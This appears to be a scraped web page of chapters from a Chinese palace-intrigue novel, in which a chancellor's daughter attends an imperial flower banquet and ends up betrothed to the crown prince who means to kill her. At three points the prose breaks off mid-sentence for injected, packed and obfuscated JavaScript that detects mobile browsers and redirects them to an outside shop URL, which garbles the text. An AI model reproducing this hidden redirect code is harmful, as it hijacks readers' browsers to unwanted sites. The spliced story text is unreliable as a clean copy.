席容夫人微笑,“哪个男人会嫌身边的女人多啊,更何况是皇上了。娘娘就是想不开,不肯叫你入宫帮衬,可是她也不想想,和自家姐妹去分一个男人,总比和外人去分要好啊。普天之下,莫非王土,率土之滨,莫非王臣,待着你四妹妹五妹妹及笄了,我还是要想法子把她们送进宫去,只有服侍好了皇上,才能保证席容一族代代无虞,世世平安。” 席容烟愕然,她知道,魏帝贵为九五之尊,自然是妃嫔无数的。可是,她常听到席容府的人说娘娘如何受宠,她便觉得魏帝应当是个专情的男子。纵然他不是一个专情之人,也不应该纳了一家姐妹,这样岂非太过恶心。 席容夫人见她面色苍白,奇怪道,“你怎么了?” 席容烟用帕子拭了拭嘴角,“没事,想是早上吃坏了东西,此刻有些反胃。” 席容夫人皱皱眉,“一会儿贵人面前,莫要失仪,不然,仔细我剥了你的皮。” “是。” 席容夫人望了一眼宫门,看见那边已然排起了一条长长的队伍。 “是时候了,我们也该过去了。” 席容夫人说完,也不到队尾排着,而是直接领着席容烟向宫门口走去。 席容烟听见一个尖细的声音在前头高声唱着,“苏蕙菁,四品道员苏方之女,年十五。” 席容夫人走上前去,叫了一声“杨公公”。 杨公公正念得起劲,听见有人喊自己,不耐烦地斜过眼来,看见是席容夫人,马上堆了一脸的谄笑,快步上前弹了弹马蹄袖,行了跪礼。 “哎呀,夫人也过来了,怎么不给奴才传个话,奴才好到落轿处候着夫人呀。” 席容夫人略一抬手,示意他起来回话。 “原本不想来了,怕小孩子没个分寸,乱了规矩,只好过来盯着。” 杨公公立时看向席容烟,恭维道,“这位便是太子妃了吧,果真是美得不可方物。奴才在后宫里头呆了这么多年,除了贵妃娘娘,再没见过如此标志的人儿了。” 席容烟只是微笑,心想这个公公拍起马屁,面面俱到,好生厉害。 席容夫人似是听惯了,也不答话,转身扫了一眼那个身穿碧色衣裳的女孩,开口问道,“你父亲是苏方?” 苏蕙菁并无忸怩之态,爽朗应道,“正是家父。” 席容夫人冷笑一声,“苏方不是成日家上折子,劝谏皇上不要沉迷美色,荒废政务吗,怎么如今还把自己的女儿给送过来了?好一个伪君子啊!” “年少而慕少艾,阴阳之道本为天理,并无什么不妥之处,家父所言,只不过是想劝谏皇上不要宠信奸佞,宠爱祸水罢了。” “哦?” 未等席容夫人说话,杨公公便尖着嗓子呵斥道,“你好大的胆子,竟敢对贵妃娘娘不敬!” “公公刚才可听到我提贵妃娘娘半个字了?难不成,杨公公自己觉得贵妃娘娘就是祸水,一听到祸水二字,就不自觉的想到了贵妃娘娘?” 杨公公气得发颤,抬手就要扇她。 苏蕙菁不卑不亢地扬起头来,容色慨然,“公公可别打错了主意,家父再不济,也是位正四品的道员,掌一方水土,守一地百姓,公公这一巴掌下去,出了什么岔子可得自己担着。” 周围的人窃窃私语,低声议论起来。 17. 赏花是赏人 杨公公的手滞在半空,一时也不知如何是好。 他素日在宫里横行惯了,见着主子便曲意逢迎,见着不如他的奴才便肆意作践,如今被这个小丫头一说,反倒没了主意。 他看见席容夫人冲他摆了摆手,也便顺势撂下,向后退了一步。 席容夫人虽然面上带笑,眼底却是一片寒霜,逼视着她说道,“好伶俐的口齿啊,若是让你进宫,指不定要掀起多大的风浪。” “夫人说笑了,我能否进宫,要看皇上的意思,只怕还轮不到夫人置喙。” “是吗?自然了,后宫是皇上的后宫,选谁,不选谁,都只凭皇上一人的心意。不过,宫中也是有规矩的,你错便错在坏了规矩。” “我方才所言,这里的人都听的分分明明,夫人可不要胡言乱语。” 席容夫人倒是不生气了,轻轻一笑,“你方才说‘年少而慕少艾’,我记得原文应该是‘知好色则慕少艾’。光天化日,朗朗乾坤,你一个刚刚及笄的女孩竟在天子居所白日宣淫,苏道员还真是好家教啊,养出了你这么一个不知廉耻的东西。”[1] 苏蕙菁面上通红,想要分辩,却又羞得张不开口。 “杨公公,这样不知羞耻的女子,可万万不能送进宫啊。” 杨公公十分乖觉,高声唱道,“苏蕙菁行为无状,遣回本家,日后不得踏入宫门半步。” 席容夫人满意地点了点头,“时辰也不早了,我们就先进去了,公公可得留意些,别叫那起子不懂事的混了进来。” “夫人放心,包在我身上,对了,娘娘面前,还请夫人为我美言几句。” “那是自然。” 杨公公的嘴都快咧到耳朵根儿了,“夫人慢走。” 席容烟跟着席容夫人进了宫门,走了几步,回头看见杨公公还跪在地上。 她踌躇片刻,忍不住悄声问道,“母亲,杨公公是从我们府里出去的吗?” “你终于问出来了,你倒是说说,为何这样想?” “我瞧着,他对我们很是用心。” “所以呢?” “所以,他或是我们的人,或是受过我们的恩惠,才会这般投桃报李。” “他既非宰相府出身,也不曾受过我们什么照拂,他能有今日的位置,全然靠他自己。” “那他为何——” 席容夫人止住脚步,似笑非笑地看着席容烟,一双眼眸分外深邃,好似能够洞穿一切。 “这便是我要给你上的第一课。” “烟儿洗耳恭听。” “你若要一个人对你好,未必要给他多少好处,施以多少恩惠,杨公公便是如此。他从一个刚入宫的小太监爬到如今在御前伺候的副总管,他所走的每一步都是用自己的脑袋磕出来的。他奉承我们,是因为贵妃娘娘深得圣心,更是因为我们席容家滔天的权势,所以无需我们做什么,他都会心甘情愿地追随。” “可他就不要半点好处吗?” “贵妃娘娘是何等的身份,能容他在皇上跟前伺候就是莫大的恩典。更何况,娘娘若是欢喜了,又怎么会少得了他的好处。” “我懂了。” 席容夫人摇了摇头,“不,你还是没听懂。我想告诉你的是,一个人对你好,未必是受了你多大的好处。同样的,一个人对你不好,也未必是你得罪他了。在这宫里,捧高踩低都是寻常事,你若想要过得好,将来惟一能指望的人就是你自己。” 席容烟这才反应过来,原来今日之事都是席容夫人一早预料好的,为的就是让自己明白其中这番道理,她迟疑着问。 “那么,苏蕙菁之事,也是母亲的安排吗?” “那倒不是,我并未想到会碰见她,今日算她走运。” “她不是被赶出宫去了吗,这也算是走运?” 席容夫人轻笑,“你以为,她方才的话是一时失言吗?” 席容烟一愣,她忽然想起苏蕙菁离开的时候,嘴角是挂着笑的。那笑容很轻很浅,像是被人刻意压制着,却还是忍不住从温暖灿烂的金尘里开出了花来。 席容烟恍然大悟,“难不成,她是故意的?她根本就不想进宫!” “不错,那丫头看似口无遮拦,其实心中早有算计,不过是想借我的手,断了入宫的路。” “母亲既然都看明白了,为何还要帮她?” “我虽然帮她,却并不是为了帮她。一来,她言辞犀利,处处挑衅,我若不好好敲打她,不仅会损了娘娘的威名,更会折了席容家的颜面。二来,宫门跟前贵女云集,我定要让她们看看,宫里头是谁说了算。三来嘛,我也是想让你明白,世间事没有非黑即白的,大多都是一片混沌。那句知慕少艾原是孟子的话,往好了说便是圣人之言,往坏了说便是污秽之语,全看谁来判,怎么判。” 席容烟恍然大悟,“母亲苦心,烟儿都记住了。” “你虽然伶俐,却生性单纯,这只是个开始,往后我会慢慢教你的。” 这时候,一个身着淡绿色春绸衣裳的丫鬟过来行礼,她的模样清秀,打扮得也很是规矩,只是足上穿了一双金绦滚边碎花鞋,显得又与别个不同。 “兰鸢,娘娘呢。” “紫藤陪着娘娘往园中去了,娘娘命我来接夫人和三小姐。” 席容夫人颔首,“走吧。” 兰鸢引着她们往东南方向行去,路上,席容夫人问了她几句贵妃娘娘的情况,兰鸢只说一切都好。再后来,宫人渐渐多了起来,席容夫人便不再言语,席容烟也小心翼翼地跟着,不敢多说半个字。 行经琉璃瓦的重檐庑殿,掠见金龙样的和玺彩画,绕过天青色的曲桥回廊,席容烟渐觉草木葱茏,小径清幽,鸟语花香,萦于身侧,心中倒是舒畅了不少。 兰鸢回头笑道,“前面就是了,娘娘应该已经到了。” 席容烟隐隐听见了一个女子的声音,温婉中带着些许威仪。 “这盘白玉霜方糕摆在皇上跟前,他喜欢吃。诶,这酒有些凉了,皇上喜欢三成温的,你把这壶酒搁在热水里,待着热了六七成再端回来,料着到时候温度刚刚好。” 席容夫人声音有些发颤,轻声唤道,“琰儿。” 席容贵妃闻声转过身来,只见她头戴点翠嵌珠五凤花钿,凤羽处缀着各色宝石,阳光下熠熠生辉,分外璀璨。两串长长的金镶东珠流苏耳坠垂落颈间,衬得她皮肤白皙,吹弹可破。一袭杏黄妆花缂丝梅竹纹纱袍曳地,足上的一双金缎彩绣暗八仙缀珠马蹄鞋更是夺目。 席容贵妃欢喜地走了过来,“母亲。” 席容夫人才要行礼,早被席容贵妃一把拉住。 “这里没有外人,母亲莫要折煞女儿。” 席容夫人拉着女儿的手,眼眶有些发红。 席容烟屈膝行礼,“臣女请贵妃娘娘安。” 席容贵妃笑道,“这便是三妹吧,快起来,你我姐妹,不必多礼,抬起头来让我瞧瞧。” 席容烟原本眼帘微垂,此刻只得抬起头来,顷刻露出了一张绝世容颜。 席容贵妃端详许久,直到席容烟脸颊泛霞才罢。 “怪不得父亲每每来信,都要盛赞,三妹果真是倾城之姿。” “古云,一顾倾人城,再顾倾人国,贵妃娘娘仪容万千,乃是倾国之貌,臣女仰慕久矣。” 席容贵妃笑了起来,“都说了,原是自家姐妹,你该唤我一声长姐才是。” “长姐。” “好妹妹,今日初次见面,姐姐本该送你一份礼才是,偏生这些日子忙着赏花宴的事,竟是浑忘了,不过,等你入宫了,我们姐妹见面的日子多的是,也不拘在这一时一刻。” “都听长姐的。” “娘娘,皇上和太子都还未到吗?” “按规矩,皇上得去中宫用膳,再和皇后一道过来。太子嘛,他刚才派人传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502725|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了话过来,说是政务繁忙,可能得晚到一会儿。” 席容夫人点头不语,环视了一圈景致。 席容贵妃神情得意,问道,“如何?” “别出心裁,美则美矣,只是,花费也不少吧。” “母亲放心,这些银钱并未动用家里半分。” “那是?” “母亲就别管了,横竖没有使我们家的银子就是了。” 席容贵妃不肯再让席容夫人问下去,拉她入了席,“还得一阵子呢,母亲略坐一坐。” 席容烟仔细观察,瞧见坐席排了三圈,席容夫人坐在了第一圈最左边的位子上,她料着第一圈应该是命妇,第二圈应是跟着命妇来的小姐,第三圈应是出身略低些的小姐。 席容烟度其次序,便在席容夫人后面的一张席位上坐了。 席容贵妃又忙了一阵,便过来找席容夫人叙话。 席容夫人和她唠起了家长里短,一会儿是屋里的某个丫鬟不规矩,被她如何给发落了,一会儿又是老爷最近迷上了府里的哪个小妾,她是如何敲打的,两人聊了半晌,却一句也未曾提及宫中的事。 席容烟在后面暗暗听着,觉得实在十分乏味,无聊摆弄起了桌上的酒盅。 桃夭以为她要喝酒,便为她斟了一杯,一不当心,几滴酒水洒在了席容烟的袖口上。 桃夭有些慌了,才要告罪,席容烟却是轻轻摆手,示意她不要出声。 “无妨,一会儿就干了。” “只怕会留下痕迹,姑娘还是用帕子擦一擦吧。” 席容烟觉得有理,便在袖中寻自己的帕子,却没有摸到。 她有些惊,换了另一只袖子,仍是没有掏到。 “桃夭,我的帕子可在你那里?” “没有啊,姑娘的帕子不一向都是自己随身带着的吗。” 席容烟翻了三四遍,却是一点影儿都没寻见,她面色渐渐沉了下来。 她今日带的帕子上绣了烟雨朦胧的景致,更要命的是,帕子的一角绣有一个“烟”字,女儿家的帕子可不比寻常物件,最是私密,若是落在有心人手里,定成大祸。 “我记得姑娘刚才还用帕子拭面来着,莫不是路上不当心,丢在了哪里?” 席容烟细细回忆,却怎么也记不起来。 “姑娘还是去寻一寻吧,万一被人拾到就不好了。” 席容烟定定神,起身走到了席容夫人和席容贵妃跟前,将自己丢了帕子的事轻声说了。 席容夫人闻言,神情瞬间严肃起来,“娘娘,多派些宫人去寻一寻吧。” 席容贵妃才要招手,桃夭却快步上前拦道,“不可。” 席容夫人瞥她一眼,“桃夭,娘娘面前,岂可放肆!” 桃夭跪下,“此事关乎姑娘名节,若是弄得人尽皆知,恐生事端,还请夫人三思啊。” 席容贵妃点点头,“这丫头说的不错,宫里人心险恶,此事的确不宜声张。” 席容夫人也没了主意,急道,“那怎么办?帕子丢了也不能不找啊。” 席容贵妃想了想,从腰间取下一枚流云百福玉佩,搁在席容烟掌心。 “这玉佩是我平日戴的,宫里人都认得,你带着桃夭沿着来路仔细寻一寻,若有人问,只说是我命你去取东西,一时迷了路,走错了方向。若是找到了,就随便找一个宫人引你们回来,若是实在找不到也无妨,我到时候自有主张。” “长姐放心,我会小心行事的。” 席容烟将玉佩揣在怀中,便带着桃夭去寻帕子了。 她记性很好,按着来时的路径一处不差的寻了,却还是一无所获。 偏这时候宫门口也开始放人了,各家的夫人小姐们一丛丛的涌进来,席容烟躲闪不及,拉着桃夭闪身进了甬道。 二人走了一阵,渐渐有些迷失方向,待席容烟反应过来,想要回到起点的时候,已经找不到路了。 18. 无巧不成书 席容烟看看四周,只觉得这里一洗富贵气象,瞧着很是清冷。 近处砌了一个假山,旁边碎石环绕,草木苍唐,再往远看,只有一汪湖泊,别无他物。 桃夭有些怕了,“姑娘,这里连个人影都瞧不见,我们还是赶快走吧。” 席容烟正要说话,忽然听见假山深处传来一个男子的声音,“谁在外面?” 桃夭吓得脸色发白,紧紧拽着席容烟的衣袖。 席容烟被她拽的也有些紧张,却还是大着胆子问了一声,“你是何人?” 假山里面传来几声响动,又过了片刻,一名男子徐徐走了出来,背着阳光负手立在那里,眯起一双丹凤眼打量着她。 半晌,他脸上渐渐露出惊喜的神色,“是你?” 席容烟看着他的那双丹凤眼,只觉得好生熟悉,好像在哪里见过。 男子语气颇为不满,“你换回女装,孤都认得出你,你却忘了孤的模样。” 席容烟记起来了,他便是那日闯入轿子的人——太子魏晗烨。 席容烟连忙屈膝,“臣女参见太子殿下。” 魏晗烨眼中光芒更盛,“你也是来参加赏花宴的?” “是。” “你是谁家的小姐?” 席容烟微微踌躇,并不作声。 魏晗烨以为她是害羞,轻笑道,“你来赴宴,是为了孤,还是为了父皇?” “自然,是为着殿下。” 魏晗烨上前一步,“那你还有什么好避讳的?” 席容烟不自觉地后退一步,“太子殿下,我们该去参加赏花宴了。” “不急。” “只怕时辰快到了。” 魏晗烨望了一眼东南方向,仍道,“不急。” “若是迟了,太子殿下倒是可以安然无恙,臣女怕是要挨骂的。” “别怕,孤护着你。” 席容烟不解的抬头看他,他觉察了,清朗一笑,“你不信孤?” “太子殿下若是知道臣女的身份,定然不会再说这样的话。” 魏晗烨又上前一步,牵起她的手来,正色道,“不论你是什么出身,孤都会护着你。” 席容烟轻轻挣开,却也不再后退,定定望着他的眼睛。 “你,信不信孤?” “臣女愿意相信。” “好,那你就陪孤在这里呆上一阵,什么也别问,孤自有道理。” 风过,草木瑟瑟,遍地石吟。 不远处,冉冉传来了一阵琴音。 席容烟识得这首曲子,这原本是席容夫人安排自己在宴上献奏的《越人歌》,也不知道现在弹奏这首曲子的是何人? 魏晗烨侧耳细听,脸上滑过一丝嘲讽,“都说席容烟古琴一绝,如今听来不过尔尔。” 席容烟听见他说自己的名字,神色难免有些恍惚。 魏晗烨会错了意,温声道,“你放心,孤是不会娶她的。” 席容烟勉强一笑,“为何?” “她是席容家的人,嫁入东宫,不过是为着取孤的性命,孤又不傻,怎会由着她取。” 席容烟心中怅惘,原来,魏晗烨都知道了,想也是,他贵为大魏太子,怎么可能连这点伎俩都看不破。 “可是,皇上不是已经同意了吗?” “父皇并未下旨赐婚,办这赏花宴也是想要相看一二的,若是那席容烟失了规矩体统,此事自然只能就此作罢了。” 席容烟试探着问,“她出身宰相府,想来,规矩是不会错的。” “莫急,一会儿你就知道了。” 席容烟隐隐有了不好的预感,“殿下,如果,我是说如果她机缘巧合,并未在宴上出丑,最终成功嫁入东宫,殿下会怎么办?” 魏晗烨薄唇微启,轻轻吐出两字,“杀之。” 他的声音清润如玉,眼中却是一片决然。 席容烟的心跳陡然加快,身子不受控制地向后晃了晃。 桃夭惊呼,“姑娘!” 魏晗烨稳稳揽过她的肩,隔着一层薄薄的布料,他感受到了她每一寸肌肤都在颤抖。 “你这是怎么了?” 席容烟惨然一笑,阖眼不语。 半晌,她睁开眼来看他,眸中已然沁满泪水。 “殿下,若是她嫁也是死,不嫁也是死,她该如何抉择?” 魏晗烨不解地问,“为何这么说?” “请殿下回答我。” 魏晗烨沉思片刻,叹气道,“那也只能怪她自己的命数不好。” 席容烟噙着泪,凄然苦笑,“她的命,原也不是她自己选的。” 一语未了,那缕琴音戛然而止。 风中似乎夹杂了些许呜咽之音,吹得草木瑟瑟,湖水喑喑。 席容烟听着风声,掠过耳畔,不禁在春日里头觉出了一股寒意。 魏晗烨唇角微扬,拉起她的手,“这下子,我们可以放心的去赴宴了。” 赏花宴。 魏帝坐北朝南,穿了件黄缎盘金绣八宝龙袍,端坐在正中的云龙圆背椅上,魏皇后居左,席容贵妃居右,余下后宫诸人按照品级有序排开。 魏帝向下扫视一圈,只见衣香鬓影,绿云扰扰,唯有第二排左首的位子是空的。 魏帝指着那个位子,不怒自威,“今日可有人缺席啊?” 席容夫人跪答,“回禀陛下,小女席容烟尚未入席。” 魏皇后挑眉,“哦?不知道这是什么缘故?” 席容贵妃起身回话,“陛下,臣妾今日初见这个妹妹,喜欢得紧,想将一枚玉佩送给她,偏巧出门匆忙,未曾戴在身上,便命她去臣妾宫中取,不想这会子还没回来,只怕是迷了路,这都怪臣妾思虑不周,还请陛下恕罪。” 魏帝扶住她,“姊妹情深,人之常情,爱妃何罪之有?” 席容贵妃莞尔一笑,又道,“只是,宴上的第一个节目原本安排的是《越人歌》,现下,这弹琴的人不在,这个节目也只好往后延一延了。” 魏皇后开口道,“那便先上旁的节目,待着人回来了,再补上。” 魏帝颔首,正要说话,便听得下面传来一个清脆的女声,“姑母此言谬矣。” 此言一出,众人皆是好奇的望了过去。 第二排右首边的女子走了出来,款款行礼道,“臣女霍皓辰参见皇上,皇后娘娘,恭祝皇上万岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502726|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无疆,娘娘长乐无极。” 众人见着是她,也便不再奇怪。 霍皓辰是大将军霍淳之独女,霍淳是魏皇后的兄长,其妻李氏又是魏皇后闺中的手帕交。李氏难产而亡,只余下霍皓辰和霍翰羽姐弟二人,霍淳在李氏榻前哭了三天三夜,发誓终身不另娶,更对这个长相酷似李氏的女儿分外怜爱。 霍皓辰自幼没有生母照拂,性格如同男孩一般,全然不把宫中的规矩放在眼里。她与姑母魏皇后最是亲厚,从来不畏惧她皇后的身份,想到什么就说什么,就连魏帝也默许了她的这般行径。魏皇后待她,不仅有姑侄之间的情谊,更将她视作太子妃的不二人选,若无席容烟这一档子事,只怕霍皓辰早就已经嫁进东宫了。 “辰儿,你想说什么?” “臣女听闻,赏花宴的节目顺序都是抓阄所定,敢问贵妃娘娘,是也不是?” 席容贵妃心道,哪有什么抓阄的事,不过是怕这些名门贵女不服自己排定的顺序,随便找的借口罢了,只是众目睽睽之下,她也只能点点头。 “既是抓阄,便是上天的旨意,这顺序岂可轻易改动?” 魏皇后皱眉,“可是,弹琴的人不在这里啊。” “又不是只有席容烟一人才会弹琴,臣女不才,愿为皇上和皇后娘娘献丑。” 席容贵妃微有不悦,“霍皓辰,本宫记得你的节目是舞剑吧?这舞剑和弹琴差得可不是一点半点,素日也并未听得你的琴艺如何超群,若依本宫的意思,还是罢了吧。” 霍皓辰并不答话,只是看向魏皇后。 魏皇后扶额,“辰儿,休要胡闹。” 霍皓辰没有想到魏皇后居然不帮自己说话,心中更是添了一份执拗,就势跪下,“辰儿心意已决,还请姑母应允。” 魏皇后却是少有的疾言厉色,朗声喝道,“人贵有自知之明,霍皓辰,本宫命你不得再提此事,还不速速退下。” 席容贵妃瞧着魏皇后的神色,觉得奇怪,按说,魏皇后一向很宠爱霍皓辰,不帮她说话就罢了,也断不会这般呵斥她的。她这么想着,目光不由得移到了舞台中心的那把古琴上头,她看看魏皇后,又看看古琴,突然猜测到了一种可能。 席容贵妃嫣然一笑,出言相劝,“姐姐何必这般动怒,依妹妹看,她说的也有几分道理,不如就让她来弹吧。” 魏皇后扫她一眼,“妹妹,你方才可不是这样说的。” “还不是因为这孩子心意难得,妹妹也不由得被她打动了呢。” “本宫说不行,就是不行。” 席容贵妃看向魏帝,声音中添了几分柔媚,“陛下觉得呢?” 魏帝看了一眼眸中含笑的席容贵妃,又看了一眼面露愠色的魏皇后,清了清嗓子,道,“皇后和贵妃所言都有道理,霍皓辰,既然你一片赤诚,朕就准你上台献艺,不过,你并不擅长古琴,就命宫中乐妓演奏,你来舞剑助兴。” 魏帝金口已开,魏皇后和席容贵妃也都不好再说什么。霍皓辰原本只是想争一个风头,并不在乎是弹琴还是舞剑,何况她本就擅长舞剑,闻言立即欣然跪谢。 魏皇后暗暗松了一口气,席容贵妃则是一副坐等看好戏的模样。 19. 凤凰如有意 乐妓原在外面候命,闻得传召,喜不自胜,不到一刻钟就赶了过来。 她盼着能得到魏帝垂青,一朝成为人上人,几乎使尽了浑身解数,那一双缱绻多情的桃花眼不住的抛向魏帝,原本铿锵的七弦之音硬生生被她弹出了几分魅色。 魏皇后在宫中多年,早就见惯了这种女子,并不十分在意,倒是席容贵妃有点沉不住气,一直偷偷观察魏帝的神情。 魏帝的眼睛却并未在乐妓身上过多停留,反而看向了手持长剑的霍皓辰,面露赞许之色。 霍皓辰穿着一身石青色缎织五彩如意纹袷褂,眉宇之间满是英气,手中的剑迎光而上,乘风而动,舞得出神入化,一招一式,颇有其父霍淳大将军的风采。 魏帝呷了一口酒,感叹道,“这个霍皓辰真是男子一般的气概,和这名乐妓在一处表演,活脱脱一副将军美人图。” 魏皇后欣慰一笑,“的确如此,臣妾也很喜欢辰儿爽朗的性格,不愿过分拘着她,只是她终究是个女孩子,也不能一直这样下去。” “朝中正是用人之际,朕倒觉得,不能用闺阁之礼束缚了她,平白耽误了一个将才。” 魏皇后听出话中之意,微微愕然,沉声道,“沙场之上,刀枪无眼,辰儿的母亲早亡,父亲又长年累月在沙场厮杀,臣妾答应过她的父亲母亲,一定要好好护着这孩子,早日给她找个好人家嫁了,还希望陛下也能为她留意。” 魏帝深深看了魏皇后一眼,不再作声,继续观看舞台上的表演,却是越看越觉得不对劲。 这个时节春风和煦,温度宜人,那名乐妓却是面色潮红,香汗淋漓,似是吃醉了酒一般,身子缓缓扭动起来,弹出的琴声也有些不稳。 她的衣带半落,露出内里的一抹深茜色肚兜,眼波更是媚得流出了水。 在场之人俱是窃窃私语,魏帝也不由得多看了那名乐妓两眼。 席容贵妃嗤笑,“呦,这是闹的哪一出啊?” 魏皇后嫌恶的瞥了一眼,“来人,把这个乐妓拖下去,杖杀。” “姐姐且慢。” 魏皇后冷声道,“怎么,席容贵妃喜欢观看这种表演?” “姐姐别急呀,妹妹只是觉得此事蹊跷,这名乐妓看着不像是蓄意勾引,反倒像是药物的缘故。” “一派胡言!” 席容贵妃轻轻摇着手中团扇,她的声音依旧柔和,使人闻之恍若春风扑面,春雨化物,“是真是假,找个太医来验验不就知道了。” 魏皇后指着台上的霍皓辰,“若说她中了药物,为何辰儿还好端端的,为何在场的这么多人都还好端端的,分明就是这个乐妓不知廉耻,还不快把她拖下去,别让她在这里丢人。” “姐姐当真不知道,这名乐妓为何会这副模样吗?” 魏皇后凝眸,“席容贵妃,你这是什么意思?本宫记得今年的赏花宴可是由你一手操办的,若是真有什么,你第一个便脱不了干系。” 席容贵妃起身屈膝道,“清者自清,臣妾请求皇后娘娘彻查此事,还臣妾一个公道。” 魏皇后幽幽看了她一眼,转头看向魏帝,言辞十分恳切,“陛下,为了皇家颜面,这个乐妓断断留不得啊。” 魏帝看着下面的活春宫,面色很是难看,他挥挥手,那名乐妓立时被拖了下去。 “兰鸢,还不快扶你家主子起来。” 席容贵妃只得怏怏坐下,暗恨让魏皇后逃过一劫。 原本好好的宴会被这么一闹,气氛一时有些尴尬。 舞台上面还残留着那名乐妓的衣裳,霍皓辰拿着剑立在旁边,舞也不是,不舞也不是,最后默默回到了自己的座位上。 魏晗烨和席容烟赶到时,正是这样一番局面。 席容烟不明白发生了何事,还以为是因为自己缺席,惹了皇上不快,心中更加忐忑。 魏晗烨却是知道一二的,他满心以为一切都如计划一般,便拉着席容烟径直走上前去。 “儿臣,拜见父皇母后。” 魏帝瞧着他,面色缓和不少,“平身吧。” 席容烟跪下叩首,“臣女迟来,还望陛下恕罪。” “你们这是?” 魏晗烨也跪了下去,“父皇,她是儿臣的心上人,还请父皇母后成全,将她赐给儿臣。” 此言一出,众人神色各异。 席容夫人几乎不敢相信自己的耳朵,诧异地望向二人。 魏皇后咬唇不语,她猜想魏晗烨必是误会了什么,却因为刚才的事,不敢开口道破。 席容贵妃也有些惊异,扭头看了一眼魏皇后的神情,脸上又渐渐浮出喜色。 霍皓辰心中满是不甘,愤愤地看着席容烟,眼神几乎要将她活活剐掉。 命妇们还算端庄的坐在席上,并不作声,小姐们却忍不住交头接耳起来,脸上或是羞涩,或是失落,或是好奇,或是妒忌。 整个宴会之上,唯有魏帝仍是寻常神情,静静打量着二人。 席容烟垂首跪在地上,只觉得魏帝的目光凌厉的扫射过来,将自己从头到脚的审视一遍。 不同于席容炎的灼热,寒星的深邃,魏晗烨的清朗,于她而言,这种目光是十分陌生的,像是置身千军万马之中,众将士的眼眸如箭,从四面八方齐齐射来,这大抵便是帝王之气吧。 她深吸一口气,强自镇定下来,还算坦然的稳稳跪着,面上虽然不显,心里却十分慌张,甚至能够清楚地听见自己砰砰的心跳声。 魏帝凝神看她半晌,终于移开了目光,声音不悲不喜,道,“准了。” 席容贵妃笑出声来,“恭喜太子殿下了,殿下和三妹真是郎才女貌,天生一对啊。” 魏晗烨不敢相信自己的耳朵,霍然站起身来,“你说什么?” “怎么,殿下还不知道自己心上之人的名字吗?她便是我求皇上作主许给你的三妹妹,闺名一个‘烟’字。” 魏晗烨不可思议地握住席容烟的手腕,咄咄道,“她说的,可是真的?” 席容烟吃痛,想要挣开,却被他钳的死死的,只一会儿功夫就勒出了血痕。 魏帝沉声唤道,“烨儿。” 魏晗烨不情愿地松开手,逼视着她,“我要你亲口告诉孤。” 席容烟不敢看他的眼睛,低着头,缓缓行了一礼,“臣女席容烟,拜见太子殿下。” 魏晗烨木木站着,如遭雷击。 魏皇后不忍见他如此,开口道,“素闻烟姑娘琴艺一绝,不如趁此良辰,弹上一曲。” 席容烟尚未答话,席容贵妃却是抢先说道,“紫藤,去把此琴仔细检查一遍,莫要留下什么污秽之物,脏了烟姑娘的手。” 紫藤应声下去,不多时又捧了琴回来,“娘娘,已让太医查验过了,此琴并无不妥之处。” 席容贵妃轻轻挑眉,却也没再说什么。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502727|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 席容烟走到舞台中央,席地而坐,手腕轻抬,徐徐扫了一遍琴弦。 弦韵刚中存韧,密中含疏,质如玉石,气卷风云,不似寻常之音。 席容烟摩挲琴面,识出这琴是以梧桐作面,杉木为底,白玉雕镂,紫檀岳尾。 心中暗道,“如此好琴,我莫要辜负了它才是。” 她拿定主意,手抚琴弦,仿佛双凤对舞,两凰同翔。 一时间,琴音如水,流泄指尖,纷纷扰扰,皆作红尘。 初时,曲调缠绵,好似一涓细流蜿蜒而过。 中指轻轻勾弦,渐有击月之音,泠泠淙淙萦于耳畔。 两三指后,吟猱匀实灵动,如坠浩渺大江,烟水茫茫,听者竟是忘了身处何方。 指叩丹弦,末了一声铿锵而落,恍若凤鸣。 众人沉浸琴境之中,听得如痴如醉,曲罢良久,仍是难以自拔。 魏晗烨的心弦被她轻轻拨动,神色复杂地凝视着她。 席容烟这次也不躲闪,直直对上他的目光,眸间尽是澄明。 魏帝眼中浮出一片雾色,鼓掌赞道,“果然不同凡响。” 众人反应过来,齐声赞叹,一时间掌声如潮。 魏皇后用帕子拭了拭眼泪,顿挫道,“有一美人兮,见之不忘。一日不见兮,思之如狂。凤飞翱翔兮,四海求凰。无奈佳人兮,不在东墙。将琴代语兮,聊写衷肠。何时见许兮,慰我彷徨。愿言配德兮,携手相将。不得於飞兮,使我沦亡。这首《凤求凰》是当年陛下初见臣妾时所吟,如今忆来,竟是沧海桑田了。”[1] 魏帝凝视着那把古琴,并不言语。 